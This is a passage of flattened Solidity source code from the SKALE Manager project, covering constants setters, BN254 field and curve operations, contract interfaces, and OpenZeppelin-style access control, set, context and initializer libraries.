* requirement.
*/
function setProofOfUseDelegationPercentage(uint percentage) external override onlyConstantsHolderManager {
require(percentage <= 100, "Percentage value is incorrect");
emit ConstantUpdated(
keccak256(abi.encodePacked("ProofOfUseDelegationPercentage")),
uint(proofOfUseDelegationPercentage),
uint(percentage)
);
proofOfUseDelegationPercentage = percentage;
}
/**
* @dev Allows the Owner to set the maximum number of validators that a
* single delegator can delegate to.
*/
function setLimitValidatorsPerDelegator(uint newLimit) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("LimitValidatorsPerDelegator")),
uint(limitValidatorsPerDelegator),
uint(newLimit)
);
limitValidatorsPerDelegator = newLimit;
}
function setSchainCreationTimeStamp(uint timestamp) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("SchainCreationTimeStamp")),
uint(schainCreationTimeStamp),
uint(timestamp)
);
schainCreationTimeStamp = timestamp;
}
function setMinimalSchainLifetime(uint lifetime) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("MinimalSchainLifetime")),
uint(minimalSchainLifetime),
uint(lifetime)
);
minimalSchainLifetime = lifetime;
}
function setComplaintTimeLimit(uint timeLimit) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("ComplaintTimeLimit")),
uint(complaintTimeLimit),
uint(timeLimit)
);
complaintTimeLimit = timeLimit;
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
msr = 0;
rewardPeriod = 2592000;
allowableLatency = 150000;
deltaPeriod = 3600;
checkTime = 300;
launchTimestamp = type(uint).max;
rotationDelay = 12 hours;
proofOfUseLockUpPeriodDays = 90;
proofOfUseDelegationPercentage = 50;
limitValidatorsPerDelegator = 20;
firstDelegationsMonth = 0;
complaintTimeLimit = 1800;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
// cSpell:words twistb
/*
FieldOperations.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
import "@skalenetwork/skale-manager-interfaces/ISkaleDKG.sol";
import "./Precompiled.sol";
library Fp2Operations {
uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
function inverseFp2(ISkaleDKG.Fp2Point memory value) internal view returns (ISkaleDKG.Fp2Point memory result) {
uint p = P;
uint t0 = mulmod(value.a, value.a, p);
uint t1 = mulmod(value.b, value.b, p);
uint t2 = mulmod(p - 1, t1, p);
if (t0 >= t2) {
t2 = addmod(t0, p - t2, p);
} else {
t2 = (p - addmod(t2, p - t0, p)) % p;
}
uint t3 = Precompiled.bigModExp(t2, p - 2, p);
result.a = mulmod(value.a, t3, p);
result.b = (p - mulmod(value.b, t3, p)) % p;
}
function addFp2(ISkaleDKG.Fp2Point memory value1, ISkaleDKG.Fp2Point memory value2)
internal
pure
returns (ISkaleDKG.Fp2Point memory)
{
return ISkaleDKG.Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) });
}
function scalarMulFp2(ISkaleDKG.Fp2Point memory value, uint scalar)
internal
pure
returns (ISkaleDKG.Fp2Point memory)
{
return ISkaleDKG.Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) });
}
function minusFp2(ISkaleDKG.Fp2Point memory diminished, ISkaleDKG.Fp2Point memory subtracted) internal pure
returns (ISkaleDKG.Fp2Point memory difference)
{
uint p = P;
if (diminished.a >= subtracted.a) {
difference.a = addmod(diminished.a, p - subtracted.a, p);
} else {
difference.a = (p - addmod(subtracted.a, p - diminished.a, p)) % p;
}
if (diminished.b >= subtracted.b) {
difference.b = addmod(diminished.b, p - subtracted.b, p);
} else {
difference.b = (p - addmod(subtracted.b, p - diminished.b, p)) % p;
}
}
function mulFp2(
ISkaleDKG.Fp2Point memory value1,
ISkaleDKG.Fp2Point memory value2
)
internal
pure
returns (ISkaleDKG.Fp2Point memory result)
{
uint p = P;
ISkaleDKG.Fp2Point memory point = ISkaleDKG.Fp2Point({
a: mulmod(value1.a, value2.a, p),
b: mulmod(value1.b, value2.b, p)});
result.a = addmod(
point.a,
mulmod(p - 1, point.b, p),
p);
result.b = addmod(
mulmod(
addmod(value1.a, value1.b, p),
addmod(value2.a, value2.b, p),
p),
p - addmod(point.a, point.b, p),
p);
}
function squaredFp2(ISkaleDKG.Fp2Point memory value) internal pure returns (ISkaleDKG.Fp2Point memory) {
uint p = P;
uint ab = mulmod(value.a, value.b, p);
uint multiplication = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p);
return ISkaleDKG.Fp2Point({ a: multiplication, b: addmod(ab, ab, p) });
}
function isEqual(
ISkaleDKG.Fp2Point memory value1,
ISkaleDKG.Fp2Point memory value2
)
internal
pure
returns (bool)
{
return value1.a == value2.a && value1.b == value2.b;
}
}
library G1Operations {
using Fp2Operations for ISkaleDKG.Fp2Point;
function getG1Generator() internal pure returns (ISkaleDKG.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return ISkaleDKG.Fp2Point({
a: 1,
b: 2
});
}
function isG1Point(uint x, uint y) internal pure returns (bool) {
uint p = Fp2Operations.P;
return mulmod(y, y, p) ==
addmod(mulmod(mulmod(x, x, p), x, p), 3, p);
}
function isG1(ISkaleDKG.Fp2Point memory point) internal pure returns (bool) {
return isG1Point(point.a, point.b);
}
function checkRange(ISkaleDKG.Fp2Point memory point) internal pure returns (bool) {
return point.a < Fp2Operations.P && point.b < Fp2Operations.P;
}
function negate(uint y) internal pure returns (uint) {
return (Fp2Operations.P - y) % Fp2Operations.P;
}
}
library G2Operations {
using Fp2Operations for ISkaleDKG.Fp2Point;
function doubleG2(ISkaleDKG.G2Point memory value)
internal
view
returns (ISkaleDKG.G2Point memory result)
{
if (isG2Zero(value)) {
return value;
} else {
ISkaleDKG.Fp2Point memory s =
value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2());
result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x));
result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x)));
uint p = Fp2Operations.P;
result.y.a = (p - result.y.a) % p;
result.y.b = (p - result.y.b) % p;
}
}
function addG2(
ISkaleDKG.G2Point memory value1,
ISkaleDKG.G2Point memory value2
)
internal
view
returns (ISkaleDKG.G2Point memory sum)
{
if (isG2Zero(value1)) {
return value2;
}
if (isG2Zero(value2)) {
return value1;
}
if (isEqual(value1, value2)) {
return doubleG2(value1);
}
if (value1.x.isEqual(value2.x)) {
sum.x.a = 0;
sum.x.b = 0;
sum.y.a = 1;
sum.y.b = 0;
return sum;
}
ISkaleDKG.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2());
sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x));
sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x)));
uint p = Fp2Operations.P;
sum.y.a = (p - sum.y.a) % p;
sum.y.b = (p - sum.y.b) % p;
}
function getTWISTB() internal pure returns (ISkaleDKG.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return ISkaleDKG.Fp2Point({
a: 19485874751759354771024239261021720505790618469301721065564631296452457478373,
b: 266929791119991161246907387137283842545076965332900288569378510910307636690
});
}
function getG2Generator() internal pure returns (ISkaleDKG.G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return ISkaleDKG.G2Point({
x: ISkaleDKG.Fp2Point({
a: 10857046999023057135944570762232829481370756359578518086990519993285655852781,
b: 11559732032986387107991004021392285783925812861821192530917403151452391805634
}),
y: ISkaleDKG.Fp2Point({
a: 8495653923123431417604973247489272438418190587263600148770280649306958101930,
b: 4082367875863433681332203403145435568316851327593401208105741076214120093531
})
});
}
function getG2Zero() internal pure returns (ISkaleDKG.G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return ISkaleDKG.G2Point({
x: ISkaleDKG.Fp2Point({
a: 0,
b: 0
}),
y: ISkaleDKG.Fp2Point({
a: 1,
b: 0
})
});
}
function isG2Point(ISkaleDKG.Fp2Point memory x, ISkaleDKG.Fp2Point memory y) internal pure returns (bool) {
if (isG2ZeroPoint(x, y)) {
return true;
}
ISkaleDKG.Fp2Point memory squaredY = y.squaredFp2();
ISkaleDKG.Fp2Point memory res = squaredY.minusFp2(
x.squaredFp2().mulFp2(x)
).minusFp2(getTWISTB());
return res.a == 0 && res.b == 0;
}
function isG2(ISkaleDKG.G2Point memory value) internal pure returns (bool) {
return isG2Point(value.x, value.y);
}
function isG2ZeroPoint(
ISkaleDKG.Fp2Point memory x,
ISkaleDKG.Fp2Point memory y
)
internal
pure
returns (bool)
{
return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0;
}
function isG2Zero(ISkaleDKG.G2Point memory value) internal pure returns (bool) {
return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0;
// return isG2ZeroPoint(value.x, value.y);
}
/**
* @dev Checks are G2 points identical.
* This function will return false if following coordinates
* of points are different, even if its different on P.
*/
function isEqual(
ISkaleDKG.G2Point memory value1,
ISkaleDKG.G2Point memory value2
)
internal
pure
returns (bool)
{
return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IContractManager.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IContractManager {
/**
* @dev Emitted when contract is upgraded.
*/
event ContractUpgraded(string contractsName, address contractsAddress);
function initialize() external;
function setContractsAddress(string calldata contractsName, address newContractsAddress) external;
function contracts(bytes32 nameHash) external view returns (address);
function getDelegationPeriodManager() external view returns (address);
function getBounty() external view returns (address);
function getValidatorService() external view returns (address);
function getTimeHelpers() external view returns (address);
function getConstantsHolder() external view returns (address);
function getSkaleToken() external view returns (address);
function getTokenState() external view returns (address);
function getPunisher() external view returns (address);
function getContract(string calldata name) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IPermissions.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IPermissions {
function initialize(address contractManagerAddress) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@skalenetwork/skale-manager-interfaces/thirdparty/openzeppelin/IAccessControlUpgradeableLegacy.sol";
import "./InitializableWithGap.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControlUpgradeableLegacy is InitializableWithGap, ContextUpgradeable, IAccessControlUpgradeableLegacy {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
struct RoleData {
EnumerableSetUpgradeable.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IAccessControlUpgradeableLegacy.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IAccessControlUpgradeableLegacy {
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.7;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract InitializableWithGap is Initializable {
uint256[50] private ______gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
